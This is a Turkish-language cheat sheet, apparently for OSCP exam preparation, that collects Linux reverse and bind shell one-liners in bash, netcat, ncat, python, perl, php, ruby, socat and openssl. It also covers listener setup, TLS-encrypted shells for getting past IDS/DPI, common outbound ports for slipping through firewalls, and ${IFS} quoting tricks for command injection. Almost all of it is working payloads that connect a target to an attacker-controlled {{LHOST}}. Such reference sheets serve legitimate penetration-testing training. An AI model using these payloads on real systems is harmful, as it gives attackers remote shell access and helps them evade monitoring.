FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE kolay

Linux Reverse & Bind Shell Cephaneliği

RCE elde edilen bir Linux hedeften, mevcut yorumlayıcılara (bash, python, perl, php, ruby) ve netcat/socat/openssl gibi araçlara göre seçilebilecek reverse ve bind shell payload arsenali. Tüm payloadlar {{LHOST}} {{LPORT}} kullanır.

Bilgi: ÖN KOŞULLAR
  • Hedefte komut çalıştırma imkanı (RCE / cmd injection / web shell / authenticated service)
  • {{LHOST}} dinleyicisi açık (nc/ncat/socat/pwncat)
┌──

Komutlar

nc ✓ EXAM-SAFE
nc -lvnp {{LPORT}}
Saldırgan tarafında temel netcat listener (reverse shell yakalamak için). HackTricks — Reverse Shells (Linux)
rlwrap ✓ EXAM-SAFE
rlwrap nc -lvnp {{LPORT}}
readline desteğiyle listener; ok tuşları/geçmiş için stabilizasyon öncesi konfor. HackTricks — Shells / Reverse Shell
bash ✓ EXAM-SAFE
bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1
Klasik bash /dev/tcp reverse shell (bash gerektirir, sh ile çalışmaz). PayloadsAllTheThings — Reverse Shell Cheatsheet (Bash)
bash ✓ EXAM-SAFE
bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'
Komut enjeksiyonu/sınırlı shell içinde tek satırda çağrılabilen bash -c sarmalı. PayloadsAllTheThings — Reverse Shell Cheatsheet (Bash)
bash ✓ EXAM-SAFE
0<&196;exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; sh <&196 >&196 2>&196
sh-only ortamlar için file descriptor 196 üzerinden /dev/tcp reverse shell varyantı. PayloadsAllTheThings — Reverse Shell Cheatsheet
nc ✓ EXAM-SAFE
nc {{LHOST}} {{LPORT}} -e /bin/bash
-e destekleyen (traditional/OpenBSD bazı sürümler) netcat ile doğrudan reverse shell. HackTricks — Reverse Shells (Linux) / nc -e
ncat ✓ EXAM-SAFE
ncat {{LHOST}} {{LPORT}} -e /bin/bash
Nmap ncat ile -e reverse shell (modern dağıtımlarda ncat -e destekler). HackTricks — Reverse Shells (Linux) / ncat
nc ✓ EXAM-SAFE
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {{LHOST}} {{LPORT}} > /tmp/f
-e olmayan netcat için mkfifo (named pipe) tabanlı reverse shell — en taşınabilir nc yöntemi. PentestMonkey — Reverse Shell Cheat Sheet (netcat mkfifo)
ncat ✓ EXAM-SAFE
ncat --ssl {{LHOST}} {{LPORT}} -e /bin/bash
TLS ile şifreli reverse shell; karşı tarafta 'ncat --ssl -lvnp {{LPORT}}' dinler. IDS/DPI kaçınımı için. HackTricks — Reverse Shells / Ncat SSL
python ✓ EXAM-SAFE
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{LHOST}}",{{LPORT}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
Python2 reverse shell (pty.spawn ile yarı-interaktif). python yoksa python3 varyantını kullan. PayloadsAllTheThings — Reverse Shell Cheatsheet (Python)
python3 ✓ EXAM-SAFE
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{LHOST}}",{{LPORT}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
Python3 reverse shell; çoğu modern Linux hedefte python3 mevcuttur. PayloadsAllTheThings — Reverse Shell Cheatsheet (Python3)
perl ✓ EXAM-SAFE
perl -e 'use Socket;$i="{{LHOST}}";$p={{LPORT}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl reverse shell — eski/minimal sistemlerde (perl genelde kuruludur) güvenilir seçenek. PentestMonkey — Reverse Shell Cheat Sheet (Perl)
php ✓ EXAM-SAFE
php -r '$sock=fsockopen("{{LHOST}}",{{LPORT}});exec("/bin/sh -i <&3 >&3 2>&3");'
PHP reverse shell tek satır; web sunucusu üzerinden RCE varsa veya php CLI mevcutsa. PentestMonkey — Reverse Shell Cheat Sheet (PHP)
ruby ✓ EXAM-SAFE
ruby -rsocket -e'f=TCPSocket.open("{{LHOST}}",{{LPORT}}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Ruby reverse shell; Rails/Ruby ortamlarında yorumlayıcı hazır olduğunda. PentestMonkey — Reverse Shell Cheat Sheet (Ruby)
socat ✓ EXAM-SAFE
socat TCP:{{LHOST}}:{{LPORT}} EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
socat ile tam-TTY reverse shell; karşıda 'socat file:`tty`,raw,echo=0 TCP-LISTEN:{{LPORT}}' dinlenir — stabilizasyona gerek kalmaz. HackTricks — Reverse Shells / Full TTY (socat)
socat ✓ EXAM-SAFE
socat file:`tty`,raw,echo=0 TCP-LISTEN:{{LPORT}}
Saldırgan tarafında socat full-TTY listener; yukarıdaki socat reverse shell ile eşleşir. HackTricks — Reverse Shells / Full TTY (socat)
socat ✓ EXAM-SAFE
socat OPENSSL:{{LHOST}}:{{LPORT}},verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
OpenSSL ile şifreli socat reverse shell; listener: 'socat OPENSSL-LISTEN:{{LPORT}},cert=server.pem,verify=0 file:`tty`,raw,echo=0'. HackTricks — Reverse Shells / Encrypted socat
openssl ✓ EXAM-SAFE
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {{LHOST}}:{{LPORT}} > /tmp/s; rm /tmp/s
openssl s_client ile şifreli reverse shell; saldırganda 'openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes' sonrası 'openssl s_client'/'s_server' kullanılır. HackTricks — Reverse Shells / OpenSSL encrypted
openssl ✓ EXAM-SAFE
openssl s_server -quiet -key key.pem -cert cert.pem -port {{LPORT}}
Saldırgan tarafında şifreli reverse shell yakalamak için OpenSSL TLS listener. HackTricks — Reverse Shells / OpenSSL s_server
nc ✓ EXAM-SAFE
nc -lvnp {{LPORT}} -e /bin/bash
BIND shell: hedefte port açıp shell sunar; saldırgan 'nc {{RHOST}} {{LPORT}}' ile bağlanır. NAT/firewall reverse'ı engellediğinde kullanışlı. HackTricks — Bind Shells (Linux)
mkfifo ✓ EXAM-SAFE
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp {{LPORT}} > /tmp/f
-e olmayan netcat ile mkfifo tabanlı BIND shell; hedef portu dinler, saldırgan bağlanır. PayloadsAllTheThings — Bind Shell (netcat mkfifo)

Genel Mantık

Reverse shell, hedefin bizim dinleyicimize ({{LHOST}}:{{LPORT}}) bağlanması; bind shell ise hedefin bir port açıp bizim bağlanmamızı beklemesidir. NAT veya outbound firewall reverse shell’i engelliyorsa bind shell, inbound firewall bind’i engelliyorsa reverse shell tercih edilir. OSCP sınavında bu payloadlar tamamen el ile çalıştırıldığından safe kapsamdadır.

Payload Seçim Stratejisi

Hedefte hangi yorumlayıcının olduğunu önce tespit et: which bash python python3 perl php ruby socat nc ncat openssl. Sırayla deneme önerisi:

  • bash /dev/tcp: En hızlı, ek araç gerektirmez. Ancak /bin/sh symlink’i dash’e gidiyorsa çalışmaz; mutlaka bash -c '...' ile bash’i zorla çağır.
  • mkfifo + nc: -e bayrağı olmayan modern netcat (GNU/BusyBox) için en taşınabilir yöntem. -e çoğu Kali dışı sistemde derlenmemiştir.
  • python3 pty.spawn: Doğrudan yarı-interaktif shell verir, stabilizasyon adımını kısaltır.
  • socat full-TTY: İki uçta socat varsa job control + clear çalışan tam TTY; stabilizasyona hiç gerek kalmaz.

Şifreli Shell (DPI/IDS Kaçınımı)

Lab/CTF ağlarında düz metin shell trafiği yakalanabilir. ncat --ssl, socat OPENSSL, veya openssl s_client/s_server ile TLS tüneli kur. Önce sertifika üret: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes. socat için cert=server.pem tek dosyada key+cert birleştirilmiş haldedir (cat key.pem cert.pem > server.pem).

Sık Karşılaşılan Tuzaklar

  • Tek tırnak/çift tırnak: Web cmd injection içinde payload’u URL-encode etmen ve dıştaki tırnakları kaçırman gerekebilir; ${IFS} ile boşluk bypass’ı işe yarayabilir.
  • python vs python3: Python2 kaldırılmış olabilir; her zaman python3 varyantını da hazırda tut.
  • Listener portu: 443/53/80 gibi yaygın outbound portlar firewall’ı geçme ihtimali en yüksek olanlardır; {{LPORT}} olarak bunları dene.
  • Bind shell çoklu IP: Hedef birden fazla arayüze sahipse bağlanırken doğru {{RHOST}} adresini kullan.

Sonraki Adım

Kaba shell yakalandıktan sonra TTY stabilizasyonu (python pty + stty raw -echo) için shell-upgrade tekniğine geç; tab-completion, Ctrl-C ve metin editörleri ancak o zaman güvenle çalışır.

┌──

Kaynaklar

0/15 set